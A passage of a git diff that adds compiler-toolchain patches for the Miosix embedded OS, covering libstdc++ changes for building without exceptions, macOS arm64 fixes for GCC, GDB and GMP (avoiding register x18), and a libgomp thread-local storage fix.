exception (if any) on + // stderr. +@@ -95,6 +115,8 @@ + abort(); + } + ++#endif ++ + _GLIBCXX_END_NAMESPACE_VERSION + } // namespace + +diff -ruN gcc-9.2.0-old/libstdc++-v3/src/c++11/condition_variable.cc gcc-9.2.0/libstdc++-v3/src/c++11/condition_variable.cc +--- gcc-9.2.0-old/libstdc++-v3/src/c++11/condition_variable.cc 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libstdc++-v3/src/c++11/condition_variable.cc 2025-01-24 23:55:01.727116237 +0100 +@@ -31,6 +31,16 @@ + { + _GLIBCXX_BEGIN_NAMESPACE_VERSION + ++/* ++ * Patch rationale: this file is compiled when libstdc++ is built, with ++ * exceptions enabled. When Miosix is compiled with exceptions disabled and ++ * these are used, they cause some of the exception support to be pulled in ++ * increasing code size. These are also so simple that inlining them will ++ * make condition_variable faster. A win-win. ++ * This patch works together with the one in include/std/condition_variable ++ */ ++#ifndef _MIOSIX ++ + #ifdef __GTHREAD_COND_INIT + condition_variable::condition_variable() noexcept = default; + #else +@@ -78,6 +88,8 @@ + __throw_system_error(__e); + } + ++#endif //_MIOSIX ++ + extern void + __at_thread_exit(__at_thread_exit_elt*); + +diff -ruN gcc-9.2.0-old/libstdc++-v3/src/c++11/functexcept.cc gcc-9.2.0/libstdc++-v3/src/c++11/functexcept.cc +--- gcc-9.2.0-old/libstdc++-v3/src/c++11/functexcept.cc 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libstdc++-v3/src/c++11/functexcept.cc 2025-01-24 23:55:01.727116237 +0100 +@@ -35,6 +35,15 @@ + # define _(msgid) (msgid) + #endif + ++// RATIONALE: adding __attribute__((weak)) to these functions allows redefining ++// them if compiling without exceptions to avoid pulling in exception support ++// and save code size ++#ifdef _MIOSIX ++#define AW __attribute__((weak)) ++#else ++#define AW ++#endif ++ + namespace __gnu_cxx + { + int __snprintf_lite(char *__buf, size_t __bufsize, const char *__fmt, +@@ -45,45 +54,46 @@ + { + _GLIBCXX_BEGIN_NAMESPACE_VERSION + +- void ++ void AW + __throw_bad_exception() + { _GLIBCXX_THROW_OR_ABORT(bad_exception()); } + +- void ++ void AW + __throw_bad_alloc() + { _GLIBCXX_THROW_OR_ABORT(bad_alloc()); } + +- void ++ void AW + __throw_bad_cast() + { _GLIBCXX_THROW_OR_ABORT(bad_cast()); } + +- void ++ void AW + __throw_bad_typeid() + { _GLIBCXX_THROW_OR_ABORT(bad_typeid()); } + +- void ++ void AW + __throw_logic_error(const char* __s __attribute__((unused))) + { _GLIBCXX_THROW_OR_ABORT(logic_error(_(__s))); } + +- void ++ void AW + __throw_domain_error(const char* __s __attribute__((unused))) + { _GLIBCXX_THROW_OR_ABORT(domain_error(_(__s))); } + +- void ++ void AW + __throw_invalid_argument(const char* __s __attribute__((unused))) + { _GLIBCXX_THROW_OR_ABORT(invalid_argument(_(__s))); } + +- void ++ void AW + __throw_length_error(const char* __s __attribute__((unused))) + { _GLIBCXX_THROW_OR_ABORT(length_error(_(__s))); } + +- void ++ void AW + __throw_out_of_range(const char* __s __attribute__((unused))) + { _GLIBCXX_THROW_OR_ABORT(out_of_range(_(__s))); } + +- void ++ void AW + __throw_out_of_range_fmt(const char* __fmt, ...) + { ++ #ifndef _MIOSIX + const size_t __len = __builtin_strlen(__fmt); + // We expect at most 2 numbers, and 1 short string. The additional + // 512 bytes should provide more than enough space for expansion. +@@ -95,21 +105,31 @@ + __gnu_cxx::__snprintf_lite(__s, __alloca_size, __fmt, __ap); + _GLIBCXX_THROW_OR_ABORT(out_of_range(_(__s))); + va_end(__ap); // Not reached. ++ #else ++ // Miosix applications usually run with tiny stacks of a few KB, doing an ++ // alloca of 512+ bytes is almost guaranteed to cause stack overflow. ++ // The fact that this allocation happens if an exception is thrown (which ++ // should normally not occur) only makes testing and sizing stacks harder. ++ // For this reason, even if it is a nice feature, we've decided to not ++ // expand formats. Users will get a strange exception with %zu or other ++ // format strings in it, but at least no stack overflow. ++ _GLIBCXX_THROW_OR_ABORT(out_of_range(_(__fmt))); ++ #endif + } + +- void ++ void AW + __throw_runtime_error(const char* __s __attribute__((unused))) + { _GLIBCXX_THROW_OR_ABORT(runtime_error(_(__s))); } + +- void ++ void AW + __throw_range_error(const char* __s __attribute__((unused))) + { _GLIBCXX_THROW_OR_ABORT(range_error(_(__s))); } + +- void ++ void AW + __throw_overflow_error(const char* __s __attribute__((unused))) + { _GLIBCXX_THROW_OR_ABORT(overflow_error(_(__s))); } + +- void ++ void AW + __throw_underflow_error(const char* __s __attribute__((unused))) + { _GLIBCXX_THROW_OR_ABORT(underflow_error(_(__s))); } + +diff -ruN gcc-9.2.0-old/libstdc++-v3/src/c++11/functional.cc gcc-9.2.0/libstdc++-v3/src/c++11/functional.cc +--- gcc-9.2.0-old/libstdc++-v3/src/c++11/functional.cc 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libstdc++-v3/src/c++11/functional.cc 2025-01-24 23:55:01.727116237 +0100 +@@ -25,11 +25,20 @@ + #include + #include + ++// RATIONALE: adding __attribute__((weak)) to these functions allows redefining ++// them if compiling without exceptions to avoid pulling in exception support ++// and save code size ++#ifdef _MIOSIX ++#define AW __attribute__((weak)) ++#else ++#define AW ++#endif ++ + namespace std _GLIBCXX_VISIBILITY(default) + { + _GLIBCXX_BEGIN_NAMESPACE_VERSION + +- void ++ void AW + __throw_bad_function_call() + { _GLIBCXX_THROW_OR_ABORT(bad_function_call()); } + +diff -ruN gcc-9.2.0-old/libstdc++-v3/src/c++11/future.cc gcc-9.2.0/libstdc++-v3/src/c++11/future.cc +--- gcc-9.2.0-old/libstdc++-v3/src/c++11/future.cc 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libstdc++-v3/src/c++11/future.cc 2025-01-24 23:55:01.727116237 +0100 +@@ -25,6 +25,15 @@ + #include + #include + ++// RATIONALE: adding __attribute__((weak)) to these functions allows redefining ++// them if compiling without exceptions to avoid pulling in exception support ++// and save code size ++#ifdef _MIOSIX ++#define AW __attribute__((weak)) ++#else ++#define AW ++#endif ++ + namespace + { + struct future_error_category : public std::error_category +@@ -71,7 +80,7 @@ + { + _GLIBCXX_BEGIN_NAMESPACE_VERSION + +- void ++ void AW + __throw_future_error(int __i __attribute__((unused))) + { _GLIBCXX_THROW_OR_ABORT(future_error(make_error_code(future_errc(__i)))); } + +diff -ruN gcc-9.2.0-old/libstdc++-v3/src/c++11/system_error.cc gcc-9.2.0/libstdc++-v3/src/c++11/system_error.cc +--- gcc-9.2.0-old/libstdc++-v3/src/c++11/system_error.cc 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libstdc++-v3/src/c++11/system_error.cc 2025-01-24 23:55:01.727116237 +0100 +@@ -32,6 +32,15 @@ + #include + #undef __sso_string + ++// RATIONALE: adding __attribute__((weak)) to these functions allows redefining ++// them if compiling without exceptions to avoid pulling in exception support ++// and save code size ++#ifdef _MIOSIX ++#define AW __attribute__((weak)) ++#else ++#define AW ++#endif ++ + namespace + { + using std::string; +@@ -331,7 +340,7 @@ + { + _GLIBCXX_BEGIN_NAMESPACE_VERSION + +- void ++ void AW + __throw_system_error(int __i __attribute__((unused))) + { + _GLIBCXX_THROW_OR_ABORT(system_error(error_code(__i, generic_category()))); +diff -ruN gcc-9.2.0-old/libstdc++-v3/src/c++11/thread.cc gcc-9.2.0/libstdc++-v3/src/c++11/thread.cc +--- gcc-9.2.0-old/libstdc++-v3/src/c++11/thread.cc 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libstdc++-v3/src/c++11/thread.cc 2025-01-24 23:55:01.727116237 +0100 +@@ -22,8 +22,12 @@ + // see the files COPYING3 and COPYING.RUNTIME respectively. If not, see + // . + +- ++// Patch rationale: don't need to be ABI backwards compatible, and ++// on top of that the compat code pulls in exceptions when compiling Miosix with ++// exceptions disabled. ++#ifndef _MIOSIX + #define _GLIBCXX_THREAD_ABI_COMPAT 1 ++#endif //_MIOSIX + #include + #include + #include +@@ -73,7 +77,16 @@ + { + extern "C" + { ++ /* ++ * Patch rationale: the need to call the class destructor makes it ++ * call __cxa_end_cleanup which pulls in exception code. Thus, reimplemented ++ * in Miosix when compiling without exceptions. ++ */ ++#ifdef _MIOSIX ++ void* __attribute__((weak)) ++#else + static void* ++#endif + execute_native_thread_routine(void* __p) + { + thread::_State_ptr __t{ static_cast(__p) }; +@@ -101,6 +114,9 @@ + + thread::_State::~_State() = default; + ++ //Patch rationale: compiling these in libstdc++.a pulls in exceptions ++ //This patch works together with the one in include/std/thread ++#ifndef _MIOSIX + void + thread::join() + { +@@ -139,6 +155,7 @@ + __throw_system_error(err); + state.release(); + } ++#endif + + #if _GLIBCXX_THREAD_ABI_COMPAT + void diff --git a/tools/compiler/gcc-9.2.0-mp3.4/patches/gcc_mac_arm64.patch b/tools/compiler/gcc-9.2.0-mp3.4/patches/gcc_mac_arm64.patch new file mode 100644 index 000000000..0f3927118 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/patches/gcc_mac_arm64.patch @@ -0,0 +1,14 @@ +diff -ur gcc-11.1.0/gcc/config/host-darwin.c gcc-11.1.0-fixed/gcc/config/host-darwin.c +--- gcc-9.2.0-old/gcc/config/host-darwin.c 2021-04-27 03:00:13.000000000 -0700 ++++ gcc-9.2.0/gcc/config/host-darwin.c 2021-06-11 14:49:13.754000000 -0700 +@@ -22,6 +22,10 @@ + #include "coretypes.h" + #include "diagnostic-core.h" + #include "config/host-darwin.h" ++#include "hosthooks.h" ++#include "hosthooks-def.h" ++ ++const struct host_hooks host_hooks = HOST_HOOKS_INITIALIZER; + + /* Yes, this is really supposed to work. */ + /* This allows for a pagesize of 16384, which we have on Darwin20, but should diff --git a/tools/compiler/gcc-9.2.0-mp3.4/patches/gdb.patch b/tools/compiler/gcc-9.2.0-mp3.4/patches/gdb.patch new file mode 100644 index 000000000..0ea841187 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/patches/gdb.patch @@ -0,0 +1,10 @@ +--- gdb-9.1-old/bfd/elf-bfd.h 2020-02-08 13:50:13 ++++ gdb-9.1/bfd/elf-bfd.h 2023-02-07 15:41:42 +@@ -26,6 +26,7 @@ + #include "elf/external.h" + #include "elf/internal.h" + #include "bfdlink.h" ++#include //GDB on MacOS compiles but doesn't work without this one + + #ifdef __cplusplus + extern "C" { diff --git a/tools/compiler/gcc-9.2.0-mp3.4/patches/gmp_arm64.patch b/tools/compiler/gcc-9.2.0-mp3.4/patches/gmp_arm64.patch new file mode 100644 index 000000000..d07089368 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/patches/gmp_arm64.patch @@ -0,0 +1,520 @@ +# HG changeset patch +# User Torbjorn Granlund +# Date 1606685500 -3600 +# Node ID 5f32dbc41afc1f8cd77af1614f0caeb24deb7d7b +# Parent 94c84d919f83ba963ed1809f8e80c7bef32db55c +Avoid the x18 register since it is reserved on Darwin. + +diff -r 94c84d919f83 -r 5f32dbc41afc mpn/arm64/aors_n.asm +--- gmp-6.2.1-old/mpn/arm64/aors_n.asm Sat Nov 28 23:38:32 2020 +0100 ++++ gmp-6.2.1/mpn/arm64/aors_n.asm Sun Nov 29 22:31:40 2020 +0100 +@@ -68,7 +68,7 @@ + EPILOGUE() + PROLOGUE(func_n) + CLRCY +-L(ent): lsr x18, n, #2 ++L(ent): lsr x17, n, #2 + tbz n, #0, L(bx0) + + L(bx1): ldr x7, [up] +@@ -77,7 +77,7 @@ + str x13, [rp],#8 + tbnz n, #1, L(b11) + +-L(b01): cbz x18, L(ret) ++L(b01): cbz x17, L(ret) + ldp x4, x5, [up,#8] + ldp x8, x9, [vp,#8] + sub up, up, #8 +@@ -88,7 +88,7 @@ + ldp x10, x11, [vp,#8] + add up, up, #8 + add vp, vp, #8 +- cbz x18, L(end) ++ cbz x17, L(end) + b L(top) + + L(bx0): tbnz n, #1, L(b10) +@@ -101,7 +101,7 @@ + + L(b10): ldp x6, x7, [up] + ldp x10, x11, [vp] +- cbz x18, L(end) ++ cbz x17, L(end) + + ALIGN(16) + L(top): ldp x4, x5, [up,#16] +@@ -114,8 +114,8 @@ + ADDSUBC x12, x4, x8 + ADDSUBC x13, x5, x9 + stp x12, x13, [rp],#16 +- sub x18, x18, #1 +- cbnz x18, L(top) ++ sub x17, x17, #1 ++ cbnz x17, L(top) + + L(end): ADDSUBC x12, x6, x10 + ADDSUBC x13, x7, x11 +diff -r 94c84d919f83 -r 5f32dbc41afc mpn/arm64/aorsmul_1.asm +--- gmp-6.2.1-old/mpn/arm64/aorsmul_1.asm Sat Nov 28 23:38:32 2020 +0100 ++++ gmp-6.2.1/mpn/arm64/aorsmul_1.asm Sun Nov 29 22:31:40 2020 +0100 +@@ -32,10 +32,15 @@ + + include(`../config.m4') + +-C cycles/limb +-C Cortex-A53 9.3-9.8 +-C Cortex-A57 7.0 +-C X-Gene 5.0 ++C addmul_1 submul_1 ++C cycles/limb cycles/limb ++C Cortex-A53 9.3-9.8 9.3-9.8 ++C Cortex-A55 9.0-9.5 9.3-9.8 ++C Cortex-A57 7 7 ++C Cortex-A72 ++C Cortex-A73 6 6 ++C X-Gene 5 5 ++C Apple M1 1.75 1.75 + + C NOTES + C * It is possible to keep the carry chain alive between the addition blocks +diff -r 94c84d919f83 -r 5f32dbc41afc mpn/arm64/aorsorrlshC_n.asm +--- gmp-6.2.1-old/mpn/arm64/aorsorrlshC_n.asm Sat Nov 28 23:38:32 2020 +0100 ++++ gmp-6.2.1/mpn/arm64/aorsorrlshC_n.asm Sun Nov 29 22:31:40 2020 +0100 +@@ -65,14 +65,14 @@ + + ASM_START() + PROLOGUE(func_n) +- lsr x18, n, #2 ++ lsr x6, n, #2 + tbz n, #0, L(bx0) + + L(bx1): ldr x5, [up] + tbnz n, #1, L(b11) + + L(b01): ldr x11, [vp] +- cbz x18, L(1) ++ cbz x6, L(1) + ldp x8, x9, [vp,#8] + lsl x13, x11, #LSH + ADDSUB( x15, x13, x5) +@@ -94,7 +94,7 @@ + ADDSUB( x17, x13, x5) + str x17, [rp],#8 + sub up, up, #8 +- cbz x18, L(end) ++ cbz x6, L(end) + b L(top) + + L(bx0): tbnz n, #1, L(b10) +@@ -107,7 +107,7 @@ + L(b10): CLRRCY( x9) + ldp x10, x11, [vp] + sub up, up, #16 +- cbz x18, L(end) ++ cbz x6, L(end) + + ALIGN(16) + L(top): ldp x4, x5, [up,#16] +@@ -124,8 +124,8 @@ + ADDSUBC(x16, x12, x4) + ADDSUBC(x17, x13, x5) + stp x16, x17, [rp],#16 +- sub x18, x18, #1 +- cbnz x18, L(top) ++ sub x6, x6, #1 ++ cbnz x6, L(top) + + L(end): ldp x4, x5, [up,#16] + extr x12, x10, x9, #RSH +diff -r 94c84d919f83 -r 5f32dbc41afc mpn/arm64/cnd_aors_n.asm +--- gmp-6.2.1-old/mpn/arm64/cnd_aors_n.asm Sat Nov 28 23:38:32 2020 +0100 ++++ gmp-6.2.1/mpn/arm64/cnd_aors_n.asm Sun Nov 29 22:31:40 2020 +0100 +@@ -65,7 +65,7 @@ + + CLRCY + +- lsr x18, n, #2 ++ lsr x17, n, #2 + tbz n, #0, L(bx0) + + L(bx1): ldr x13, [vp] +@@ -75,7 +75,7 @@ + str x9, [rp] + tbnz n, #1, L(b11) + +-L(b01): cbz x18, L(rt) ++L(b01): cbz x17, L(rt) + ldp x12, x13, [vp,#8] + ldp x10, x11, [up,#8] + sub up, up, #8 +@@ -86,7 +86,7 @@ + L(b11): ldp x12, x13, [vp,#8]! + ldp x10, x11, [up,#8]! + sub rp, rp, #8 +- cbz x18, L(end) ++ cbz x17, L(end) + b L(top) + + L(bx0): ldp x12, x13, [vp] +@@ -99,7 +99,7 @@ + b L(mid) + + L(b10): sub rp, rp, #16 +- cbz x18, L(end) ++ cbz x17, L(end) + + ALIGN(16) + L(top): bic x6, x12, cnd +@@ -116,8 +116,8 @@ + ADDSUBC x9, x11, x7 + ldp x10, x11, [up,#32]! + stp x8, x9, [rp,#32]! +- sub x18, x18, #1 +- cbnz x18, L(top) ++ sub x17, x17, #1 ++ cbnz x17, L(top) + + L(end): bic x6, x12, cnd + bic x7, x13, cnd +diff -r 94c84d919f83 -r 5f32dbc41afc mpn/arm64/logops_n.asm +--- gmp-6.2.1-old/mpn/arm64/logops_n.asm Sat Nov 28 23:38:32 2020 +0100 ++++ gmp-6.2.1/mpn/arm64/logops_n.asm Sun Nov 29 22:31:40 2020 +0100 +@@ -78,7 +78,7 @@ + + ASM_START() + PROLOGUE(func) +- lsr x18, n, #2 ++ lsr x17, n, #2 + tbz n, #0, L(bx0) + + L(bx1): ldr x7, [up] +@@ -88,7 +88,7 @@ + str x15, [rp],#8 + tbnz n, #1, L(b11) + +-L(b01): cbz x18, L(ret) ++L(b01): cbz x17, L(ret) + ldp x4, x5, [up,#8] + ldp x8, x9, [vp,#8] + sub up, up, #8 +@@ -99,7 +99,7 @@ + ldp x10, x11, [vp,#8] + add up, up, #8 + add vp, vp, #8 +- cbz x18, L(end) ++ cbz x17, L(end) + b L(top) + + L(bx0): tbnz n, #1, L(b10) +@@ -110,7 +110,7 @@ + + L(b10): ldp x6, x7, [up] + ldp x10, x11, [vp] +- cbz x18, L(end) ++ cbz x17, L(end) + + ALIGN(16) + L(top): ldp x4, x5, [up,#16] +@@ -127,8 +127,8 @@ + POSTOP( x12) + POSTOP( x13) + stp x12, x13, [rp],#16 +- sub x18, x18, #1 +- cbnz x18, L(top) ++ sub x17, x17, #1 ++ cbnz x17, L(top) + + L(end): LOGOP( x12, x6, x10) + LOGOP( x13, x7, x11) +diff -r 94c84d919f83 -r 5f32dbc41afc mpn/arm64/lshift.asm +--- gmp-6.2.1-old/mpn/arm64/lshift.asm Sat Nov 28 23:38:32 2020 +0100 ++++ gmp-6.2.1/mpn/arm64/lshift.asm Sun Nov 29 22:31:40 2020 +0100 +@@ -61,7 +61,7 @@ + add rp, rp_arg, n, lsl #3 + add up, up, n, lsl #3 + sub tnc, xzr, cnt +- lsr x18, n, #2 ++ lsr x17, n, #2 + tbz n, #0, L(bx0) + + L(bx1): ldr x4, [up,#-8] +@@ -69,7 +69,7 @@ + + L(b01): NSHIFT x0, x4, tnc + PSHIFT x2, x4, cnt +- cbnz x18, L(gt1) ++ cbnz x17, L(gt1) + str x2, [rp,#-8] + ret + L(gt1): ldp x4, x5, [up,#-24] +@@ -89,7 +89,7 @@ + PSHIFT x13, x5, cnt + NSHIFT x10, x4, tnc + PSHIFT x2, x4, cnt +- cbnz x18, L(gt2) ++ cbnz x17, L(gt2) + orr x10, x10, x13 + stp x2, x10, [rp,#-16] + ret +@@ -123,11 +123,11 @@ + orr x11, x12, x2 + stp x10, x11, [rp,#-32]! + PSHIFT x2, x4, cnt +-L(lo0): sub x18, x18, #1 ++L(lo0): sub x17, x17, #1 + L(lo3): NSHIFT x10, x6, tnc + PSHIFT x13, x7, cnt + NSHIFT x12, x7, tnc +- cbnz x18, L(top) ++ cbnz x17, L(top) + + L(end): orr x10, x10, x13 + orr x11, x12, x2 +diff -r 94c84d919f83 -r 5f32dbc41afc mpn/arm64/lshiftc.asm +--- gmp-6.2.1-old/mpn/arm64/lshiftc.asm Sat Nov 28 23:38:32 2020 +0100 ++++ gmp-6.2.1/mpn/arm64/lshiftc.asm Sun Nov 29 22:31:40 2020 +0100 +@@ -61,7 +61,7 @@ + add rp, rp_arg, n, lsl #3 + add up, up, n, lsl #3 + sub tnc, xzr, cnt +- lsr x18, n, #2 ++ lsr x17, n, #2 + tbz n, #0, L(bx0) + + L(bx1): ldr x4, [up,#-8] +@@ -69,7 +69,7 @@ + + L(b01): NSHIFT x0, x4, tnc + PSHIFT x2, x4, cnt +- cbnz x18, L(gt1) ++ cbnz x17, L(gt1) + mvn x2, x2 + str x2, [rp,#-8] + ret +@@ -90,7 +90,7 @@ + PSHIFT x13, x5, cnt + NSHIFT x10, x4, tnc + PSHIFT x2, x4, cnt +- cbnz x18, L(gt2) ++ cbnz x17, L(gt2) + eon x10, x10, x13 + mvn x2, x2 + stp x2, x10, [rp,#-16] +@@ -125,11 +125,11 @@ + eon x11, x12, x2 + stp x10, x11, [rp,#-32]! + PSHIFT x2, x4, cnt +-L(lo0): sub x18, x18, #1 ++L(lo0): sub x17, x17, #1 + L(lo3): NSHIFT x10, x6, tnc + PSHIFT x13, x7, cnt + NSHIFT x12, x7, tnc +- cbnz x18, L(top) ++ cbnz x17, L(top) + + L(end): eon x10, x10, x13 + eon x11, x12, x2 +diff -r 94c84d919f83 -r 5f32dbc41afc mpn/arm64/mul_1.asm +--- gmp-6.2.1-old/mpn/arm64/mul_1.asm Sat Nov 28 23:38:32 2020 +0100 ++++ gmp-6.2.1/mpn/arm64/mul_1.asm Sun Nov 29 22:31:40 2020 +0100 +@@ -56,7 +56,7 @@ + + PROLOGUE(mpn_mul_1) + adds x4, xzr, xzr C clear register and cy flag +-L(com): lsr x18, n, #2 ++L(com): lsr x17, n, #2 + tbnz n, #0, L(bx1) + + L(bx0): mov x11, x4 +@@ -65,7 +65,7 @@ + L(b10): ldp x4, x5, [up] + mul x8, x4, v0 + umulh x10, x4, v0 +- cbz x18, L(2) ++ cbz x17, L(2) + ldp x6, x7, [up,#16]! + mul x9, x5, v0 + b L(mid)-8 +@@ -80,7 +80,7 @@ + str x9, [rp],#8 + tbnz n, #1, L(b10) + +-L(b01): cbz x18, L(1) ++L(b01): cbz x17, L(1) + + L(b00): ldp x6, x7, [up] + mul x8, x6, v0 +@@ -90,8 +90,8 @@ + adcs x12, x8, x11 + umulh x11, x7, v0 + add rp, rp, #16 +- sub x18, x18, #1 +- cbz x18, L(end) ++ sub x17, x17, #1 ++ cbz x17, L(end) + + ALIGN(16) + L(top): mul x8, x4, v0 +@@ -110,8 +110,8 @@ + stp x12, x13, [rp],#32 + adcs x12, x8, x11 + umulh x11, x7, v0 +- sub x18, x18, #1 +- cbnz x18, L(top) ++ sub x17, x17, #1 ++ cbnz x17, L(top) + + L(end): mul x8, x4, v0 + adcs x13, x9, x10 +diff -r 94c84d919f83 -r 5f32dbc41afc mpn/arm64/rsh1aors_n.asm +--- gmp-6.2.1-old/mpn/arm64/rsh1aors_n.asm Sat Nov 28 23:38:32 2020 +0100 ++++ gmp-6.2.1/mpn/arm64/rsh1aors_n.asm Sun Nov 29 22:31:40 2020 +0100 +@@ -59,7 +59,7 @@ + + ASM_START() + PROLOGUE(func_n) +- lsr x18, n, #2 ++ lsr x6, n, #2 + + tbz n, #0, L(bx0) + +@@ -69,7 +69,7 @@ + + L(b01): ADDSUB x13, x5, x9 + and x10, x13, #1 +- cbz x18, L(1) ++ cbz x6, L(1) + ldp x4, x5, [up],#48 + ldp x8, x9, [vp],#48 + ADDSUBC x14, x4, x8 +@@ -80,8 +80,8 @@ + ADDSUBC x12, x4, x8 + ADDSUBC x13, x5, x9 + str x17, [rp], #24 +- sub x18, x18, #1 +- cbz x18, L(end) ++ sub x6, x6, #1 ++ cbz x6, L(end) + b L(top) + + L(1): cset x14, COND +@@ -97,7 +97,7 @@ + ldp x8, x9, [vp],#32 + ADDSUBC x12, x4, x8 + ADDSUBC x13, x5, x9 +- cbz x18, L(3) ++ cbz x6, L(3) + ldp x4, x5, [up,#-16] + ldp x8, x9, [vp,#-16] + extr x17, x12, x15, #1 +@@ -117,7 +117,7 @@ + ADDSUB x12, x4, x8 + ADDSUBC x13, x5, x9 + and x10, x12, #1 +- cbz x18, L(2) ++ cbz x6, L(2) + ldp x4, x5, [up,#-16] + ldp x8, x9, [vp,#-16] + ADDSUBC x14, x4, x8 +@@ -134,8 +134,8 @@ + ADDSUBC x12, x4, x8 + ADDSUBC x13, x5, x9 + add rp, rp, #16 +- sub x18, x18, #1 +- cbz x18, L(end) ++ sub x6, x6, #1 ++ cbz x6, L(end) + + ALIGN(16) + L(top): ldp x4, x5, [up,#-16] +@@ -152,8 +152,8 @@ + ADDSUBC x12, x4, x8 + ADDSUBC x13, x5, x9 + stp x16, x17, [rp],#32 +- sub x18, x18, #1 +- cbnz x18, L(top) ++ sub x6, x6, #1 ++ cbnz x6, L(top) + + L(end): extr x16, x15, x14, #1 + extr x17, x12, x15, #1 +diff -r 94c84d919f83 -r 5f32dbc41afc mpn/arm64/rshift.asm +--- gmp-6.2.1-old/mpn/arm64/rshift.asm Sat Nov 28 23:38:32 2020 +0100 ++++ gmp-6.2.1/mpn/arm64/rshift.asm Sun Nov 29 22:31:40 2020 +0100 +@@ -60,7 +60,7 @@ + PROLOGUE(mpn_rshift) + mov rp, rp_arg + sub tnc, xzr, cnt +- lsr x18, n, #2 ++ lsr x17, n, #2 + tbz n, #0, L(bx0) + + L(bx1): ldr x5, [up] +@@ -68,7 +68,7 @@ + + L(b01): NSHIFT x0, x5, tnc + PSHIFT x2, x5, cnt +- cbnz x18, L(gt1) ++ cbnz x17, L(gt1) + str x2, [rp] + ret + L(gt1): ldp x4, x5, [up,#8] +@@ -89,7 +89,7 @@ + PSHIFT x13, x4, cnt + NSHIFT x10, x5, tnc + PSHIFT x2, x5, cnt +- cbnz x18, L(gt2) ++ cbnz x17, L(gt2) + orr x10, x10, x13 + stp x10, x2, [rp] + ret +@@ -121,11 +121,11 @@ + orr x11, x12, x2 + stp x11, x10, [rp,#32]! + PSHIFT x2, x5, cnt +-L(lo0): sub x18, x18, #1 ++L(lo0): sub x17, x17, #1 + L(lo3): NSHIFT x10, x7, tnc + NSHIFT x12, x6, tnc + PSHIFT x13, x6, cnt +- cbnz x18, L(top) ++ cbnz x17, L(top) + + L(end): orr x10, x10, x13 + orr x11, x12, x2 +diff -r 94c84d919f83 -r 5f32dbc41afc mpn/arm64/sqr_diag_addlsh1.asm +--- gmp-6.2.1-old/mpn/arm64/sqr_diag_addlsh1.asm Sat Nov 28 23:38:32 2020 +0100 ++++ gmp-6.2.1/mpn/arm64/sqr_diag_addlsh1.asm Sun Nov 29 22:31:40 2020 +0100 +@@ -47,7 +47,7 @@ + ASM_START() + PROLOGUE(mpn_sqr_diag_addlsh1) + ldr x15, [up],#8 +- lsr x18, n, #1 ++ lsr x14, n, #1 + tbz n, #0, L(bx0) + + L(bx1): adds x7, xzr, xzr +@@ -62,8 +62,8 @@ + ldr x17, [up],#16 + ldp x6, x7, [tp],#32 + umulh x11, x15, x15 +- sub x18, x18, #1 +- cbz x18, L(end) ++ sub x14, x14, #1 ++ cbz x14, L(end) + + ALIGN(16) + L(top): extr x9, x6, x5, #63 +@@ -84,8 +84,8 @@ + extr x8, x5, x4, #63 + stp x12, x13, [rp],#16 + adcs x12, x8, x10 +- sub x18, x18, #1 +- cbnz x18, L(top) ++ sub x14, x14, #1 ++ cbnz x14, L(top) + + L(end): extr x9, x6, x5, #63 + mul x10, x17, x17 + diff --git a/tools/compiler/gcc-9.2.0-mp3.4/patches/libgomp-fix-crash.patch b/tools/compiler/gcc-9.2.0-mp3.4/patches/libgomp-fix-crash.patch new file mode 100644 index 000000000..0d162e8a5 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/patches/libgomp-fix-crash.patch @@ -0,0 +1,103 @@ +diff -ruN gcc-9.2.0-old/libgomp/configure.tgt gcc-9.2.0/libgomp/configure.tgt +--- gcc-9.2.0-old/libgomp/configure.tgt 2025-06-29 12:33:39.052395119 +0200 ++++ gcc-9.2.0/libgomp/configure.tgt 2025-06-29 13:15:29.584489834 +0200 +@@ -159,6 +159,8 @@ + + *-miosix-*) + config_path="posix" ++ # libgomp uses pthread_exit which on Miosix throws a terminate exception ++ XCFLAGS="${XCFLAGS} -fexceptions" + ;; + + *-*-rtems*) +diff -ruN gcc-9.2.0-old/libgomp/libgomp.h gcc-9.2.0/libgomp/libgomp.h +--- gcc-9.2.0-old/libgomp/libgomp.h 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libgomp/libgomp.h 2025-06-26 14:23:42.980043159 +0200 +@@ -700,9 +700,22 @@ + } + #else + extern pthread_key_t gomp_tls_key; ++struct gomp_thread *gomp_initialize_tls_key (void); + static inline struct gomp_thread *gomp_thread (void) + { +- return pthread_getspecific (gomp_tls_key); ++ /* NOTE: if openmp is only used by main(), then initialize_team() takes care ++ * of initializing gomp_tls_key for main() as team leader. However, if the ++ * application spawns a thread using pthread, C11 or C++11 threads and *that* ++ * thread tries to call some OpenMP-parallelized code, no one initialized ++ * gomp_tls_key for that thread, and pthread_getspecific() returns NULL. ++ * Calling gomp_initialize_tls_key() solves the issue. ++ */ ++ void *gomp_tls_ptr = pthread_getspecific (gomp_tls_key); ++ if (!gomp_tls_ptr) ++ { ++ gomp_tls_ptr = gomp_initialize_tls_key (); ++ } ++ return gomp_tls_ptr; + } + #endif + +diff -ruN gcc-9.2.0-old/libgomp/team.c gcc-9.2.0/libgomp/team.c +--- gcc-9.2.0-old/libgomp/team.c 2019-03-27 19:30:44.000000000 +0100 ++++ gcc-9.2.0/libgomp/team.c 2025-06-29 11:22:10.736233333 +0200 +@@ -43,6 +43,20 @@ + __thread struct gomp_thread gomp_tls_data; + #else + pthread_key_t gomp_tls_key; ++ ++struct gomp_thread *gomp_initialize_tls_key (void) ++{ ++ struct gomp_thread *gomp_tls_ptr = malloc (sizeof (struct gomp_thread)); ++ if (!gomp_tls_ptr) gomp_fatal ("Out of memory"); ++ memset (gomp_tls_ptr, 0, sizeof (struct gomp_thread)); ++ pthread_setspecific (gomp_tls_key, gomp_tls_ptr); ++ return gomp_tls_ptr; ++} ++ ++void gomp_delete_tls_key (void* ptr) ++{ ++ free (ptr); ++} + #endif + + +@@ -76,9 +90,7 @@ + #if defined HAVE_TLS || defined USE_EMUTLS + thr = &gomp_tls_data; + #else +- struct gomp_thread 